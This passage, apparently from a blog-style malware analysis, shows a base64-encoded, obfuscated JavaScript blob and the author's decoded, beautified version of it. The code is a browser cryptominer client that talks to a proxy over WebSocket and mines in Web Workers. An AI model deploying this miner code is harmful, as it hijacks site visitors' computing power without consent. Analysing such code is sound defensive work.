F8weDQ2YzUxZlsibGVuZ3RoIl0pIHsKICAgICAgZm9yICh2YXIgXzB4M2Y0YWJlID0gMHgwOyBfMHgzZjRhYmUgPCBfMHg0NmM1MWZbXzB4OTg5ZCgiMHg3IildOyBfMHgzZjRhYmUrKykgewogICAgICAgIF8weDQ2YzUxZltfMHgzZjRhYmVdKF8weDU0NjBlOSk7CiAgICAgIH0KICAgIH0KICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bXzB4OTg5ZCgiMHg2ZCIpXSA9IGZ1bmN0aW9uKF8weDVkOGZjOSkgewogICAgdmFyIF8weGJhZTRkMyA9IDB4MTUwNSwKICAgICAgXzB4MzIyZGIxID0gXzB4NWQ4ZmM5W18weDk4OWQoIjB4NyIpXTsKICAgIHdoaWxlIChfMHgzMjJkYjEpIHsKICAgICAgXzB4YmFlNGQzID0gKF8weGJhZTRkMyAqIDB4MjEpIF4gXzB4NWQ4ZmM5W18weDk4OWQoIjB4NmUiKV0oLS1fMHgzMjJkYjEpOwogICAgfQogICAgcmV0dXJuIF8weGJhZTRkMyA+Pj4gMHgwOwogIH07CiAgXzB4NDQ4YjMxW18weDk4OWQoIjB4MCIpXVtfMHg5ODlkKCIweDYzIildID0gZnVuY3Rpb24oKSB7CiAgICBpZiAodGhpc1tfMHg5ODlkKCIweDQxIildKSB7CiAgICAgIHJldHVybjsKICAgIH0KICAgIHRoaXNbIl9zb2NrZXQiXSA9IG5ldyBXZWJTb2NrZXQocHJveHlVcmwpOwogICAgdGhpc1tfMHg5ODlkKCIweDQxIildW18weDk4OWQoIjB4MjAiKV0gPSB0aGlzW18weDk4OWQoIjB4NmYiKV1bXzB4OTg5ZCgiMHgyZCIpXSh0aGlzKTsKICAgIHRoaXNbXzB4OTg5ZCgiMHg0MSIpXVtfMHg5ODlkKCIweDcwIildID0gdGhpc1tfMHg5ODlkKCIweDcxIildW18weDk4OWQoIjB4MmQiKV0odGhpcyk7CiAgICB0aGlzW18weDk4OWQoIjB4NDEiKV1bXzB4OTg5ZCgiMHg3MiIpXSA9IHRoaXNbXzB4OTg5ZCgiMHg3MyIpXVtfMHg5ODlkKCIweDJkIildKHRoaXMpOwogICAgdGhpc1siX3NvY2tldCJdW18weDk4OWQoIjB4NzQiKV0gPSB0aGlzW18weDk4OWQoIjB4NzUiKV1bXzB4OTg5ZCgiMHgyZCIpXSh0aGlzKTsKICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bXzB4OTg5ZCgiMHg3NSIpXSA9IGZ1bmN0aW9uKF8weDM4ZWM2ZikgewogICAgdGhpc1siX2VtaXQiXShfMHg5ODlkKCIweDNhIikpOwogICAgdmFyIF8weDIyM2I5NyA9IHsgc2l0ZV9rZXk6IHRoaXNbXzB4OTg5ZCgiMHhkIildLCB0eXBlOiAiYW5vbnltb3VzIiwgdXNlcjogbnVsbCwgZ29hbDogMHgwIH07CiAgICBpZiAodGhpc1tfMHg5ODlkKCIweGUiKV0pIHsKICAgICAgXzB4MjIzYjk3W18weDk4OWQoIjB4NzYiKV0gPSBfMHg5ODlkKCIweDc3Iik7CiAgICAgIF8weDIyM2I5N1tfMHg5ODlkKCIweDc3IildID0gdGhpc1tfMHg5ODlkKCIweGUiKV1bXzB4OTg5ZCgiMHg3OCIpXSgpOwogICAgfSBlbHNlIGlmICh0aGlzW18weDk4OWQoIjB4MTQiKV0pIHsKICAgICAgXzB4MjIzYjk3W18weDk4OWQoIjB4NzYiKV0gPSAidG9rZW4iOwogICAgICBfMHgyMjNiOTdbXzB4OTg5ZCgiMHg3OSIpXSA9IHRoaXNbIl9nb2FsIl07CiAgICB9CiAgICBpZiAodGhpc1tfMHg5ODlkKCIweDMwIildKSB7CiAgICAgIF8weDIyM2I5N1tfMHg5ODlkKCIweDdhIildID0gdGhpc1siX29wdEluVG9rZW4iXTsKICAgIH0KICAgIHRoaXNbXzB4OTg5ZCgiMHg3YiIpXShfMHg5ODlkKCIweDVmIiksIF8weDIyM2I5Nyk7CiAgfTsKICBfMHg0NDhiMzFbXzB4OTg5ZCgiMHgwIildW18weDk4OWQoIjB4NzEiKV0gPSBmdW5jdGlvbihfMHg1ZjRhYTIpIHsKICAgIHRoaXNbXzB4OTg5ZCgiMHg2MSIpXSgiZXJyb3IiLCB7IGVycm9yOiBfMHg5ODlkKCIweDdjIikgfSk7CiAgICB0aGlzW18weDk4OWQoIjB4NzMiKV0oXzB4NWY0YWEyKTsKICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bXzB4OTg5ZCgiMHg3MyIpXSA9IGZ1bmN0aW9uKF8weDQyOWU5NykgewogICAgaWYgKF8weDQyOWU5N1tfMHg5ODlkKCIweDdkIildID49IDB4M2ViICYmIF8weDQyOWU5N1tfMHg5ODlkKCIweDdkIildIDw9IDB4M2YxKSB7CiAgICAgIHRoaXNbXzB4OTg5ZCgiMHgxMiIpXSA9IDB4M2M7CiAgICB9CiAgICBmb3IgKHZhciBfMHgzZmU3ZDEgPSAweDA7IF8weDNmZTdkMSA8IHRoaXNbXzB4OTg5ZCgiMHgzZSIpXVsibGVuZ3RoIl07IF8weDNmZTdkMSsrKSB7CiAgICAgIHRoaXNbXzB4OTg5ZCgiMHgzZSIpXVtfMHgzZmU3ZDFdW18weDk4OWQoIjB4NDAiKV0oKTsKICAgIH0KICAgIHRoaXNbXzB4OTg5ZCgiMHgzZSIpXSA9IFtdOwogICAgdGhpc1tfMHg5ODlkKCIweDQxIildID0gbnVsbDsKICAgIHRoaXNbXzB4OTg5ZCgiMHg2MSIpXShfMHg5ODlkKCIweDdlIikpOwogICAgaWYgKHRoaXNbXzB4OTg5ZCgiMHgxMSIpXSkgewogICAgICBzZXRUaW1lb3V0KHRoaXNbXzB4OTg5ZCgiMHgzMyIpXVtfMHg5ODlkKCIweDJkIildKHRoaXMpLCB0aGlzWyJfcmVjb25uZWN0UmV0cnkiXSAqIDB4M2U4KTsKICAgIH0KICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bIl9vbk1lc3NhZ2UiXSA9IGZ1bmN0aW9uKF8weDI3ZTNmZikgewogICAgdmFyIF8weDExYTk3NiA9IEpTT05bXzB4OTg5ZCgiMHg2NiIpXShfMHgyN2UzZmZbXzB4OTg5ZCgiMHg3ZiIpXSk7CiAgICBpZiAoXzB4MTFhOTc2W18weDk4OWQoIjB4NzYiKV0gPT09IF8weDk4OWQoIjB4ODAiKSkgewogICAgICB0aGlzW18weDk4OWQoIjB4ODEiKV0oXzB4MTFhOTc2WyJwYXJhbXMiXSk7CiAgICAgIHRoaXNbXzB4OTg5ZCgiMHg2MSIpXSgiam9iIiwgXzB4MTFhOTc2W18weDk4OWQoIjB4YyIpXSk7CiAgICAgIGlmICh0aGlzW18weDk4OWQoIjB4NDIiKV1bImVuYWJsZWQiXSAmJiAhdGhpc1tfMHg5ODlkKCIweDQyIildW18weDk4OWQoIjB4MzEiKV0pIHsKICAgICAgICB0aGlzW18weDk4OWQoIjB4NDIiKV1bXzB4OTg5ZCgiMHg0ZSIpXSA9IERhdGVbXzB4OTg5ZCgiMHgyMiIpXSgpICsgdGhpc1tfMHg5ODlkKCIweDQyIildWyJhZGp1c3RFdmVyeSJdOwogICAgICAgIHRoaXNbXzB4OTg5ZCgiMHg0MiIpXVtfMHg5ODlkKCIweDMxIildID0gc2V0SW50ZXJ2YWwodGhpc1tfMHg5ODlkKCIweDUwIildWyJiaW5kIl0odGhpcyksIDB4M2U4KTsKICAgICAgfQogICAgfSBlbHNlIGlmIChfMHgxMWE5NzZbXzB4OTg5ZCgiMHg3NiIpXSA9PT0gXzB4OTg5ZCgiMHg4MiIpKSB7CiAgICAgIHRoaXNbXzB4OTg5ZCgiMHg1YiIpXVtfMHg5ODlkKCIweDgyIildKF8weDExYTk3NltfMHg5ODlkKCIweGMiKV0sIHRoaXNbXzB4OTg5ZCgiMHgyZSIpXSk7CiAgICB9IGVsc2UgaWYgKF8weDExYTk3NltfMHg5ODlkKCIweDc2IildID09PSBfMHg5ODlkKCIweDgzIikpIHsKICAgICAgdGhpc1tfMHg5ODlkKCIweGYiKV0gPSBfMHgxMWE5NzZbXzB4OTg5ZCgiMHhjIildW18weDk4OWQoIjB4ODQiKV07CiAgICAgIHRoaXNbXzB4OTg5ZCgiMHg2MSIpXShfMHg5ODlkKCIweDg1IiksIF8weDExYTk3NltfMHg5ODlkKCIweGMiKV0pOwogICAgICBpZiAodGhpc1tfMHg5ODlkKCIweDE0IildICYmIHRoaXNbXzB4OTg5ZCgiMHhmIildID49IHRoaXNbXzB4OTg5ZCgiMHgxNCIpXSkgewogICAgICAgIHRoaXNbXzB4OTg5ZCgiMHg0MCIpXSgpOwogICAgICB9CiAgICB9IGVsc2UgaWYgKF8weDExYTk3NltfMHg5ODlkKCIweDc2IildID09PSBfMHg5ODlkKCIweDg2IikpIHsKICAgICAgdGhpc1tfMHg5ODlkKCIweDEzIildID0gXzB4MTFhOTc2W18weDk4OWQoIjB4YyIpXVtfMHg5ODlkKCIweDg3IildIHx8IG51bGw7CiAgICAgIHRoaXNbXzB4OTg5ZCgiMHhmIildID0gXzB4MTFhOTc2W18weDk4OWQoIjB4YyIpXVtfMHg5ODlkKCIweDg0IildIHx8IDB4MDsKICAgICAgdGhpc1tfMHg5ODlkKCIweDYxIildKCJhdXRoZWQiLCBfMHgxMWE5NzZbXzB4OTg5ZCgiMHhjIildKTsKICAgICAgdGhpc1tfMHg5ODlkKCIweDEyIildID0gMHgzOwogICAgfSBlbHNlIGlmIChfMHgxMWE5NzZbXzB4OTg5ZCgiMHg3NiIpXSA9PT0gImVycm9yIikgewogICAgICBpZiAoY29uc29sZSAmJiBjb25zb2xlWyJlcnJvciJdKSB7CiAgICAgICAgY29uc29sZVtfMHg5ODlkKCIweDYyIildKF8weDk4OWQoIjB4ODgiKSwgXzB4MTFhOTc2W18weDk4OWQoIjB4YyIpXVtfMHg5ODlkKCIweDYyIildKTsKICAgICAgfQogICAgICB0aGlzW18weDk4OWQoIjB4NjEiKV0oXzB4OTg5ZCgiMHg2MiIpLCBfMHgxMWE5NzZbXzB4OTg5ZCgiMHhjIildKTsKICAgICAgaWYgKF8weDExYTk3NltfMHg5ODlkKCIweGMiKV1bImVycm9yIl0gPT09IF8weDk4OWQoIjB4ODkiKSkgewogICAgICAgIHRoaXNbXzB4OTg5ZCgiMHgxMiIpXSA9IDB4MTc3MDsKICAgICAgfSBlbHNlIGlmIChfMHgxMWE5NzZbXzB4OTg5ZCgiMHhjIildW18weDk4OWQoIjB4NjIiKV0gPT09IF8weDk4OWQoIjB4OGEiKSkgewogICAgICAgIGlmICh0aGlzW18weDk4OWQoIjB4OGIiKV0pIHsKICAgICAgICAgIHJldHVybiB0aGlzW18weDk4OWQoIjB4NDAiKV0oKTsKICAgICAgICB9IGVsc2UgaWYgKHRoaXNbXzB4OTg5ZCgiMHg1YyIpXSkgewogICAgICAgICAgdGhpc1tfMHg5ODlkKCIweDVjIildW18weDk4OWQoIjB4OGMiKV0oKTsKICAgICAgICB9CiAgICAgIH0KICAgIH0gZWxzZSBpZiAoXzB4MTFhOTc2W18weDk4OWQoIjB4NzYiKV0gPT09IF8weDk4OWQoIjB4OGQiKSB8fCBfMHgxMWE5NzZbXzB4OTg5ZCgiMHhjIildWyJiYW5uZWQiXSkgewogICAgICB0aGlzW18weDk4OWQoIjB4NjEiKV0oXzB4OTg5ZCgiMHg2MiIpLCB7IGJhbm5lZDogISFbXSB9KTsKICAgICAgdGhpc1tfMHg5ODlkKCIweDEyIildID0gMHgyNTg7CiAgICB9CiAgfTsKICBfMHg0NDhiMzFbXzB4OTg5ZCgiMHgwIildW18weDk4OWQoIjB4ODEiKV0gPSBmdW5jdGlvbihfMHgzNTA3NzIpIHsKICAgIHRoaXNbXzB4OTg5ZCgiMHgxMCIpXSA9IF8weDM1MDc3MjsKICAgIHRoaXNbXzB4OTg5ZCgiMHgxMCIpXVtfMHg5ODlkKCIweDE5IildID0gdGhpc1siX3Rocm90dGxlIl07CiAgICBmb3IgKHZhciBfMHg1ZWVlY2YgPSAweDA7IF8weDVlZWVjZiA8IHRoaXNbXzB4OTg5ZCgiMHgzZSIpXVsibGVuZ3RoIl07IF8weDVlZWVjZisrKSB7CiAgICAgIHRoaXNbXzB4OTg5ZCgiMHgzZSIpXVtfMHg1ZWVlY2ZdW18weDk4OWQoIjB4NTUiKV0oXzB4MzUwNzcyLCB0aGlzWyJfb25UYXJnZXRNZXRCb3VuZCJdKTsKICAgIH0KICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bXzB4OTg5ZCgiMHgyYyIpXSA9IGZ1bmN0aW9uKF8weDc2MWNkZSkgewogICAgdGhpc1tfMHg5ODlkKCIweDYxIildKF8weDk4OWQoIjB4OGUiKSwgXzB4NzYxY2RlKTsKICAgIGlmIChfMHg3NjFjZGVbXzB4OTg5ZCgiMHg4ZiIpXSA9PT0gdGhpc1siX2N1cnJlbnRKb2IiXVtfMHg5ODlkKCIweDhmIildKSB7CiAgICAgIHRoaXNbXzB4OTg5ZCgiMHg3YiIpXShfMHg5ODlkKCIweDkwIiksIHsKICAgICAgICBqb2JfaWQ6IF8weDc2MWNkZVtfMHg5ODlkKCIweDhmIildLAogICAgICAgIG5vbmNlOiBfMHg3NjFjZGVbXzB4OTg5ZCgiMHg5MSIpXSwKICAgICAgICByZXN1bHQ6IF8weDc2MWNkZVtfMHg5ODlkKCIweDkyIildCiAgICAgIH0pOwogICAgfQogIH07CiAgXzB4NDQ4YjMxW18weDk4OWQoIjB4MCIpXVtfMHg5ODlkKCIweDkzIildID0gZnVuY3Rpb24oXzB4MTk0Y2M0KSB7CiAgICB0aGlzWyJfc2VuZCJdKF8weDk4OWQoIjB4OTQiKSwgXzB4MTk0Y2M0KTsKICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bXzB4OTg5ZCgiMHg3YiIpXSA9IGZ1bmN0aW9uKF8weDI2YmIzYywgXzB4MTQ1OTVhKSB7CiAgICBpZiAoIXRoaXNbXzB4OTg5ZCgiMHg0MSIpXSkgewogICAgICByZXR1cm47CiAgICB9CiAgICB2YXIgXzB4NGEwZWQzID0geyB0eXBlOiBfMHgyNmJiM2MsIHBhcmFtczogXzB4MTQ1OTVhIHx8IHt9IH07CiAgICB0aGlzW18weDk4OWQoIjB4NDEiKV1bXzB4OTg5ZCgiMHgzZCIpXShKU09OW18weDk4OWQoIjB4NmEiKV0oXzB4NGEwZWQzKSk7CiAgfTsKICBfMHg0MmE3NTdbIkNIIl0gPSBfMHg0MmE3NTdbIkNIIl0gfHwge307CiAgXzB4NDJhNzU3WyJDSCJdW18weDk4OWQoIjB4MWQiKV0gPSBfMHg5ODlkKCIweDk1Iik7CiAgXzB4NDJhNzU3WyJDSCJdW18weDk4OWQoIjB4OTYiKV0gPSBfMHg5ODlkKCIweDk3Iik7CiAgXzB4NDJhNzU3WyJDSCJdWyJGT1JDRV9NVUxUSV9UQUIiXSA9IF8weDk4OWQoIjB4OTgiKTsKICBfMHg0MmE3NTdbIkNIIl1bIlRva2VuIl0gPSBmdW5jdGlvbihfMHgyMWEzMjUsIF8weDNhZGE0MSwgXzB4MWY2OGUzKSB7CiAgICB2YXIgXzB4ZjgxN2UzID0gbmV3IF8weDQ0OGIzMShfMHgyMWEzMjUsIF8weDFmNjhlMyk7CiAgICBfMHhmODE3ZTNbXzB4OTg5ZCgiMHgxNCIpXSA9IF8weDNhZGE0MSB8fCAweDA7CiAgICByZXR1cm4gXzB4ZjgxN2UzOwogIH07CiAgXzB4NDJhNzU3WyJDSCJdWyJVc2VyIl0gPSBmdW5jdGlvbihfMHg1OGYzYmYsIF8weDEzZTVhNiwgXzB4MjJlNTlhKSB7CiAgICB2YXIgXzB4MjY3YzY3ID0gbmV3IF8weDQ0OGIzMShfMHg1OGYzYmYsIF8weDIyZTU5YSk7CiAgICBfMHgyNjdjNjdbXzB4OTg5ZCgiMHhlIildID0gXzB4MTNlNWE2OwogICAgcmV0dXJuIF8weDI2N2M2NzsKICB9OwogIF8weDQyYTc1N1siQ0giXVtfMHg5ODlkKCIweDk5IildID0gZnVuY3Rpb24oXzB4MzY0ZGUxLCBfMHgyYTk3ZTcpIHsKICAgIHZhciBfMHgxZjcyNWEgPSBuZXcgXzB4NDQ4YjMxKF8weDM2NGRlMSwgXzB4MmE5N2U3KTsKICAgIHJldHVybiBfMHgxZjcyNWE7CiAgfTsKfSkod2luZG93KTsKKGZ1bmN0aW9uKF8weDUwZWJhZSkgewogICJ1c2Ugc3RyaWN0IjsKICB2YXIgXzB4MzBkYTIwID0gZnVuY3Rpb24oKSB7CiAgICB0aGlzW18weDk4OWQoIjB4OWEiKV0gPSBuZXcgV29ya2VyKENIW18weDk4OWQoIjB4MzYiKV0pOwogICAgdGhpc1tfMHg5ODlkKCIweDlhIildW18weDk4OWQoIjB4MjAiKV0gPSB0aGlzW18weDk4OWQoIjB4OWIiKV1bXzB4OTg5ZCgiMHgyZCIpXSh0aGlzKTsKICAgIHRoaXNbXzB4OTg5ZCgiMHg5YyIpXSA9IG51bGw7CiAgICB0aGlzW18weDk4OWQoIjB4OWQiKV0gPSBmdW5jdGlvbigpIHt9OwogICAgdGhpc1tfMHg5ODlkKCIweDllIildID0gZnVuY3Rpb24oKSB7fTsKICAgIHRoaXNbXzB4OTg5ZCgiMHg5ZiIpXSA9ICFbXTsKICAgIHRoaXNbXzB4OTg5ZCgiMHg0NCIpXSA9IDB4MDsKICAgIHRoaXNbXzB4OTg5ZCgiMHgzZiIpXSA9IDB4MDsKICAgIHRoaXNbInJ1bm5pbmciXSA9ICFbXTsKICAgIHRoaXNbImxhc3RNZXNzYWdlVGltZXN0YW1wIl0gPSBEYXRlWyJub3ciXSgpOwogIH07CiAgXzB4MzBkYTIwWyJwcm90b3R5cGUiXVtfMHg5ODlkKCIweDliIildID0gZnVuY3Rpb24oXzB4MjQ5ZDY5KSB7CiAgICBpZiAoXzB4MjQ5ZDY5W18weDk4OWQoIjB4N2YiKV0gIT09IF8weDk4OWQoIjB4YTAiKSB8fCB0aGlzW18weDk4OWQoIjB4OWYiKV0pIHsKICAgICAgdGhyb3cgXzB4OTg5ZCgiMHhhMSIpICsgXzB4MjQ5ZDY5OwogICAgfQogICAgdGhpc1siX2lzUmVhZHkiXSA9ICEhW107CiAgICB0aGlzW18weDk4OWQoIjB4OWEiKV1bIm9ubWVzc2FnZSJdID0gdGhpc1tfMHg5ODlkKCIweGEyIildWyJiaW5kIl0odGhpcyk7CiAgICBpZiAodGhpc1siY3VycmVudEpvYiJdKSB7CiAgICAgIHRoaXNbInJ1bm5pbmciXSA9ICEhW107CiAgICAgIHRoaXNbXzB4OTg5ZCgiMHg5YSIpXVsicG9zdE1lc3NhZ2UiXSh0aGlzW18weDk4OWQoIjB4OWMiKV0pOwogICAgfQogIH07CiAgXzB4MzBkYTIwW18weDk4OWQoIjB4MCIpXVtfMHg5ODlkKCIweGEyIildID0gZnVuY3Rpb24oXzB4NDY2NzkzKSB7CiAgICBpZiAoXzB4NDY2NzkzW18weDk4OWQoIjB4N2YiKV1bXzB4OTg5ZCgiMHhhMyIpXSkgewogICAgICB0aGlzW18weDk4OWQoIjB4OWUiKV0oXzB4NDY2NzkzW18weDk4OWQoIjB4N2YiKV0pOwogICAgICByZXR1cm47CiAgICB9CiAgICBpZiAoXzB4NDY2NzkzW18weDk4OWQoIjB4N2YiKV1bXzB4OTg5ZCgiMHg5MiIpXSkgewogICAgICB0aGlzWyJqb2JDYWxsYmFjayJdKF8weDQ2Njc5M1tfMHg5ODlkKCIweDdmIildKTsKICAgIH0KICAgIHRoaXNbXzB4OTg5ZCgiMHg0NCIpXSA9IHRoaXNbXzB4OTg5ZCgiMHg0NCIpXSAqIDAuNSArIF8weDQ2Njc5M1tfMHg5ODlkKCIweDdmIildW18weDk4OWQoIjB4NDQiKV0gKiAwLjU7CiAgICB0aGlzW18weDk4OWQoIjB4M2YiKV0gKz0gXzB4NDY2NzkzWyJkYXRhIl1bImhhc2hlcyJdOwogICAgdGhpc1sibGFzdE1lc3NhZ2VUaW1lc3RhbXAiXSA9IERhdGVbXzB4OTg5ZCgiMHgyMiIpXSgpOwogICAgaWYgKHRoaXNbXzB4OTg5ZCgiMHhhNCIpXSkgewogICAgICB0aGlzW18weDk4OWQoIjB4OWEiKV1bXzB4OTg5ZCgiMHhhNSIpXSh0aGlzWyJjdXJyZW50Sm9iIl0pOwogICAgfQogIH07CiAgXzB4MzBkYTIwW18weDk4OWQoIjB4MCIpXVtfMHg5ODlkKCIweDU1IildID0gZnVuY3Rpb24oXzB4NTAzYjllLCBfMHgyMTI0ZWIpIHsKICAgIHRoaXNbXzB4OTg5ZCgiMHg5YyIpXSA9IF8weDUwM2I5ZTsKICAgIHRoaXNbXzB4OTg5ZCgiMHg5ZCIpXSA9IF8weDIxMjRlYjsKICAgIGlmICh0aGlzW18weDk4OWQoIjB4OWYiKV0gJiYgIXRoaXNbXzB4OTg5ZCgiMHhhNCIpXSkgewogICAgICB0aGlzW18weDk4OWQoIjB4YTQiKV0gPSAhIVtdOwogICAgICB0aGlzW18weDk4OWQoIjB4OWEiKV1bXzB4OTg5ZCgiMHhhNSIpXSh0aGlzW18weDk4OWQoIjB4OWMiKV0pOwogICAgfQogIH07CiAgXzB4MzBkYTIwWyJwcm90b3R5cGUiXVtfMHg5ODlkKCIweDgyIildID0gZnVuY3Rpb24oXzB4NDY2ZTdiLCBfMHhmYmI2ZjkpIHsKICAgIGlmICghdGhpc1tfMHg5ODlkKCIweDlmIildKSB7CiAgICAgIHJldHVybjsKICAgIH0KICAgIHRoaXNbXzB4OTg5ZCgiMHg5ZSIpXSA9IF8weGZiYjZmOTsKICAgIHRoaXNbXzB4OTg5ZCgiMHg5YSIpXVtfMHg5ODlkKCIweGE1IildKF8weDQ2NmU3Yik7CiAgfTsKICBfMHgzMGRhMjBbXzB4OTg5ZCgiMHgwIildW18weDk4OWQoIjB4NDAiKV0gPSBmdW5jdGlvbigpIHsKICAgIGlmICh0aGlzW18weDk4OWQoIjB4OWEiKV0pIHsKICAgICAgdGhpc1tfMHg5ODlkKCIweDlhIildWyJ0ZXJtaW5hdGUiXSgpOwogICAgICB0aGlzWyJ3b3JrZXIiXSA9IG51bGw7CiAgICB9CiAgICB0aGlzW18weDk4OWQoIjB4YTQiKV0gPSAhW107CiAgfTsKICBfMHg1MGViYWVbIkNIIl1bXzB4OTg5ZCgiMHg1NCIpXSA9IF8weDMwZGEyMDsKfSkod2luZG93KTsKQ0hbXzB4OTg5ZCgiMHgzNiIpXSA9IFVSTFsiY3JlYXRlT2JqZWN0VVJMIl0obmV3IEJsb2IoW18weDk4OWQoIjB4YTYiKSArIGxpYlVybCArIF8weDk4OWQoIjB4YTciKV0pKTsK"))()

Damn.. now that’s a messy blob of base64 - how do I know it’s base64 I heard you ask? The atob function at the beginning is a javascript function that allows base64 encoding/decoding - so let’s decode away!

And here’s that mess after its first round through the decoder and another time through the beautifier and splitting this up into the core code:

(function(_0x474be8, _0x2a0e31) {
    var _0x3f5632 = function(_0x253d52) {
        while (--_0x253d52) {
            _0x474be8["push"](_0x474be8["shift"]());
        }
    };
    _0x3f5632(++_0x2a0e31);
})(_0x89d9, 0x1b1);
var _0x989d = function(_0x405932, _0x54282b) {
    _0x405932 = _0x405932 - 0x0;
    var _0x5e9eb5 = _0x89d9[_0x405932];
    return _0x5e9eb5;
};
var libUrl = null;
var scriptTag = Array[_0x989d("0x0")][_0x989d("0x1")]
    [_0x989d("0x2")](document["getElementsByTagName"](_0x989d("0x3")))[_0x989d("0x4")](_0x1051da => /\?proxy?/ [_0x989d("0x5")](_0x1051da[_0x989d("0x6")]));
if (scriptTag[_0x989d("0x7")] > 0x0) {
    libUrl = scriptTag[0x0]["src"][_0x989d("0x8")](_0x989d("0x9"))[0x0];
} else {
    throw new Error("missing\x20\x27?proxy\x27\x20query\x20parameter\x20in\x20your\x20proxy\x20url!");
}
const proxyUrl = decodeURIComponent(scriptTag[0x0][_0x989d("0x6")]["split"](_0x989d("0xa"))[0x1]);
console[_0x989d("0xb")]("libUrl", libUrl);
console[_0x989d("0xb")]("proxyUrl", proxyUrl);
(function(_0x42a757) {
    "use strict";
    var _0x448b31 = function(_0x10a4d2, _0x21c5ea) {
        this[_0x989d("0xc")] = _0x21c5ea || {};
        this[_0x989d("0xd")] = _0x10a4d2;
        this[_0x989d("0xe")] = null;
        this["_threads"] = [];
        this[_0x989d("0xf")] = 0x0;
        this[_0x989d("0x10")] = null;
        this[_0x989d("0x11")] = !![];
        this[_0x989d("0x12")] = 0x3;
        this[_0x989d("0x13")] = null;
        this[_0x989d("0x14")] = 0x0;
        this[_0x989d("0x15")] = 0x0;
        this[_0x989d("0x16")] = Math[_0x989d("0x17")](
            0x0,
            Math[_0x989d("0x18")](0.99, this[_0x989d("0xc")][_0x989d("0x19")] || 0x0)
        );
        this["_stopOnInvalidOptIn"] = ![];
        this["_autoThreads"] = {
            enabled: !!this[_0x989d("0xc")][_0x989d("0x1a")],
            interval: null,
            adjustAt: null,
            adjustEvery: 0x2710,
            stats: {}
        };
        this[_0x989d("0x1b")] = {
            ident: (Math[_0x989d("0x1c")]() * 0xffffff) | 0x0,
            mode: CH[_0x989d("0x1d")],
            grace: 0x0,
            lastPingReceived: 0x0,
            interval: null
        };
        if (_0x42a757[_0x989d("0x1e")]) {
            try {
                this["_bc"] = new BroadcastChannel("CH");
                this[_0x989d("0x1f")][_0x989d("0x20")] = function(_0x14a23b) {
                    if (_0x14a23b["data"] === _0x989d("0x21")) {
                        this[_0x989d("0x1b")]["lastPingReceived"] = Date[_0x989d("0x22")]();
                    }
                }["bind"](this);
            } catch (_0x3d58d7) {}
        }
        this["_eventListeners"] = {
            open: [],
            authed: [],
            close: [],
            error: [],
            job: [],
            found: [],
            accepted: [],
            optin: []
        };
        var _0x2f6edd = navigator[_0x989d("0x23")] || 0x4;
        this[_0x989d("0x24")] = this[_0x989d("0xc")][_0x989d("0x25")] || _0x2f6edd;
        this[_0x989d("0x26")] = this[_0x989d("0x27")]() && !this[_0x989d("0xc")][_0x989d("0x28")];
        this[_0x989d("0x29")] = _0x989d("0x2a");
        this[_0x989d("0x2b")] = this[_0x989d("0x2c")][_0x989d("0x2d")](this);
        this[_0x989d("0x2e")] = this["_onVerified"][_0x989d("0x2d")](this);
    };
    _0x448b31[_0x989d("0x0")]["start"] = function(_0x37252d, _0x5ea1aa) {
        this[_0x989d("0x1b")][_0x989d("0x2f")] = _0x37252d || CH["IF_EXCLUSIVE_TAB"];
        this[_0x989d("0x30")] = _0x5ea1aa;
        if (this["_tab"][_0x989d("0x31")]) {
            clearInterval(this[_0x989d("0x1b")][_0x989d("0x31")]);
            this[_0x989d("0x1b")][_0x989d("0x31")] = null;
        }
        if (this[_0x989d("0x26")] || this[_0x989d("0x29")] === _0x989d("0x32")) {
            this[_0x989d("0x33")]();
        } else if (this[_0x989d("0x29")] === _0x989d("0x2a")) {
            this[_0x989d("0x29")] = _0x989d("0x34");
            var _0x437296 = new XMLHttpRequest();
            _0x437296[_0x989d("0x35")](
                "load",
                function() {
                    CH[_0x989d("0x36")] =
                        _0x42a757[_0x989d("0x37")][_0x989d("0x38")](new Blob([_0x437296[_0x989d("0x39")]])) + "#" + libUrl;
                    this[_0x989d("0x29")] = _0x989d("0x32");
                    this[_0x989d("0x33")]();
                }[_0x989d("0x2d")](this),
                _0x437296
            );
            _0x437296[_0x989d("0x3a")](_0x989d("0x3b"), libUrl + _0x989d("0x3c"), !![]);
            _0x437296[_0x989d("0x3d")]();
        }
    };
    _0x448b31[_0x989d("0x0")]["stop"] = function(_0x320aed) {
        for (var _0x2fa1e3 = 0x0; _0x2fa1e3 < this[_0x989d("0x3e")][_0x989d("0x7")]; _0x2fa1e3++) {
            this[_0x989d("0x15")] += this[_0x989d("0x3e")][_0x2fa1e3][_0x989d("0x3f")];
            this[_0x989d("0x3e")][_0x2fa1e3][_0x989d("0x40")]();
        }
        this["_threads"] = [];
        this[_0x989d("0x11")] = ![];
        if (this["_socket"]) {
            this[_0x989d("0x41")]["close"]();
        }
        this[_0x989d("0x10")] = null;
        if (this[_0x989d("0x42")][_0x989d("0x31")]) {
            clearInterval(this[_0x989d("0x42")][_0x989d("0x31")]);
            this[_0x989d("0x42")]["interval"] = null;
        }
        if (this[_0x989d("0x1b")][_0x989d("0x31")] && _0x320aed !== "dontKillTabUpdate") {
            clearInterval(this["_tab"][_0x989d("0x31")]);
            this["_tab"][_0x989d("0x31")] = null;
        }
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x43")] = function() {
        var _0x2acca0 = 0x0;
        for (var _0x390e99 = 0x0; _0x390e99 < this[_0x989d("0x3e")]["length"]; _0x390e99++) {
            _0x2acca0 += this[_0x989d("0x3e")][_0x390e99][_0x989d("0x44")];
        }
        return _0x2acca0;
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x45")] = function(_0x1597d9) {
        var _0x3d546f = Date[_0x989d("0x22")]();
        var _0x5f63d6 = this[_0x989d("0x15")];
        for (var _0x10ce0d = 0x0; _0x10ce0d < this[_0x989d("0x3e")][_0x989d("0x7")]; _0x10ce0d++) {
            var _0xd72ba5 = this[_0x989d("0x3e")][_0x10ce0d];
            _0x5f63d6 += _0xd72ba5["hashesTotal"];
            if (_0x1597d9) {
                var _0x200b7e = (_0x3d546f - _0xd72ba5[_0x989d("0x46")]) / 0x3e8 * 0.9;
                _0x5f63d6 += _0x200b7e * _0xd72ba5[_0x989d("0x44")];
            }
        }
        return _0x5f63d6 | 0x0;
    };
